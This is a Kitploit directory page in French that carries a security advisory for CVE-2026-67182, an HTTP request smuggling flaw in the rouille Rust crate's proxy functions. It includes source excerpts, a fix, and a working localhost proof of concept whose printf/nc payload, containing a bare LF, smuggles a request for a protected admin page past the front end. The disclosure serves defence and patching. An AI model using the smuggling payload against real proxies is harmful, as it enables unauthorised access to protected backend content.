Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille- — Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille) | Kitploit
Outils/GitHubGitHub/theopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubtheopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-

CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-

Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 23 joursPas encore vérifié

Avis de sécurité : Contournement du contrôle d'accès frontal par contrebande de requêtes HTTP (rouille)

Identifiant CVE assigné : CVE-2026-67182

Résumé

rouille::proxy::proxy et rouille::proxy::full_proxy copient les valeurs d'en-têtes de requête fournies par le client dans la connexion amont sans vérifier qu'elles contiennent des caractères de contrôle. Une valeur d'en-tête peut légitimement contenir un saut de ligne nu (0x0A), car l'analyseur d'en-têtes sous-jacent de tiny_http ne termine une ligne d'en-tête que sur CRLF. Les backends qui acceptent un LF nu comme terminateur de ligne lisent donc une requête frontale comme deux.

La seconde requête est entièrement contrôlée par l'attaquant, y compris sa méthode et son chemin, et ne passe jamais par le gestionnaire rouille qui a décidé de proxifier la première. Son corps de réponse est également renvoyé à l'attaquant.

Versions affectées

URL du dépôt : https://github.com/tomaka/rouille

Première version affectée0.3.3 (2016-12-03), la version qui a introduit src/proxy.rs
Dernière version affectée3.6.2 (2023-04-24), la version actuelle
Non affectées0.3.2 et antérieures, qui n'ont pas de module proxy
Corrigée dansaucune version corrigée au moment de la rédaction

Chaque version publiée de 0.3.3 à 3.6.2 contient le code non modifié. Le fichier src/proxy.rs est octet pour octet identique entre le tag 3.6.2 et la branche master actuelle.

Seules les applications qui appellent proxy::proxy ou proxy::full_proxy sont affectées.

Sévérité

CWE-444 (Interprétation incohérente des requêtes HTTP), atteinte via CWE-113 (Neutralisation inadéquate des séquences CRLF dans les en-têtes HTTP).

Score de base CVSS 4.0 : 6,9 (Moyen) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N

Modèle de menace

L'attaquant est un client distant, non authentifié, qui peut envoyer du HTTP brut à un serveur rouille. Aucun identifiant, aucune interaction utilisateur et aucune position sur le réseau entre les composants ne sont requis.

Le déploiement à risque est une application rouille agissant comme proxy inverse qui prend une décision de sécurité (routage, authentification, autorisation ou filtrage de contenu) avant d'appeler proxy(), devant un backend dont l'analyseur HTTP accepte un LF nu comme terminateur de ligne d'en-tête.

Comportement mesuré des backends :

nginx et Apache n'ont pas été testés. La RFC 9112 section 2.2 permet à un destinataire de reconnaître un LF isolé comme terminateur de ligne, donc les backends acceptants se comportent conformément à la spécification.

Cause racine

rouille/src/proxy.rs, lignes 157 à 174 :

root@kitploit:~
157      for (header, value) in request.headers() {
158          let value = if header == "Host" {
159              if let Some(ref replace) = config.replace_host {
160                  &**replace
161              } else {
162                  value
163              }
164          } else {
165              value
166          };
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

La ligne 171 est le puits. value n'est pas fiable et est écrite sans validation.

La donnée contaminée entre par tiny_http. Dans tiny_http-0.12.0/src/client.rs, lignes 80 à 102, une ligne d'en-tête ne se termine que lorsqu'un LF suit un CR :

root@kitploit:~
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);

Un LF isolé franchit la ligne 100 et est poussé dans le tampon de ligne. LF est un ASCII valide, donc AsciiString::from_ascii l'accepte. Header::from_str dans tiny_http-0.12.0/src/common.rs ligne 184 ne fait ensuite que retirer les espaces de la valeur, ce qui supprime les espaces de début et de fin mais laisse les octets internes intacts :

root@kitploit:~
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

Le résultat est une valeur d'en-tête rouille contenant un \n brut, que la ligne 171 de proxy.rs écrit directement dans la requête amont.

Connection: close sur la ligne 173 ne limite pas les dégâts. La ligne vide injectée termine la première requête avant que la ligne 173 ne s'exécute, donc cet en-tête est absorbé dans la requête clandestine. La première requête ne porte aucun en-tête Connection et retombe par défaut sur le keep-alive HTTP/1.1, ce qui est exactement ce qui permet au backend de continuer à traiter la seconde.

Preuve de concept

Étape 1. Créez une racine de documents backend avec un fichier public et un fichier que le proxy est censé protéger.

root@kitploit:~
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE"       > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html

Étape 2. Démarrez un backend keep-alive sur le port 8001.

root@kitploit:~
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, f, *a):
        sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'

Étape 3. Démarrez le frontal rouille sur le port 8000. Il proxifie /public/ et refuse tout le reste.

root@kitploit:~
use rouille::{proxy, Response};

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        if !request.url().starts_with("/public/") {
            return Response::text("forbidden").with_status_code(403);
        }
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Étape 4. Confirmez que le contrôle d'accès fonctionne.

root@kitploit:~
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
root@kitploit:~
HTTP/1.1 403 Forbidden

Étape 5. Envoyez une seule requête pour le chemin autorisé avec un LF nu dans une valeur d'en-tête. Dans la commande ci-dessous, \n est un saut de ligne nu et \r\n est un CRLF. La distinction constitue tout l'attaque, donc ne laissez pas un éditeur la normaliser.

root@kitploit:~
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000

Résultat. Le journal du backend montre deux requêtes, la seconde étant le chemin que le frontal a refusé à l'étape 4 :

root@kitploit:~
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -

L'attaquant reçoit également le contenu protégé, car src/proxy.rs ligne 224 transforme le reste de la socket amont en corps de réponse :

root@kitploit:~
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked

d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18

SECRET ADMIN PAGE

Impact

Un client non authentifié peut émettre une requête arbitraire vers le backend et lire sa réponse, tandis que le gestionnaire rouille ne voit jamais que la requête autorisée. Cela neutralise le contrôle d'accès basé sur le chemin, l'authentification effectuée dans le gestionnaire, et toute inspection de requête réalisée avant l'appel à proxy().

Deux limites méritent d'être mentionnées. proxy() ouvre une nouvelle connexion TCP par requête et ne fait pas de mise en commun, donc cela ne permet pas l'empoisonnement de file d'attente de requêtes inter-utilisateurs associé à la contrebande classique. L'attaque nécessite également un backend tolérant au LF, comme mesuré ci-dessus.

Remédiation

Rejetez les noms et valeurs d'en-têtes qui contiennent des caractères de contrôle avant de les écrire en amont. Dans src/proxy.rs, à l'intérieur de la boucle à la ligne 157 :

root@kitploit:~
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
    || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
    return Err(ProxyError::HttpParseError);
}
Télécharger l’outil
BackendVersion testéeAccepte le LF injecté
Go net/httpgo1.26.4oui, sert la requête clandestine
Python http.server (protocol_version = "HTTP/1.1")CPython 3.13oui, sert la requête clandestine
Node.jsv26.3.0non, renvoie 400 (mode strict llhttp)
Serveur intégré PHP8.5.8non, ferme la connexion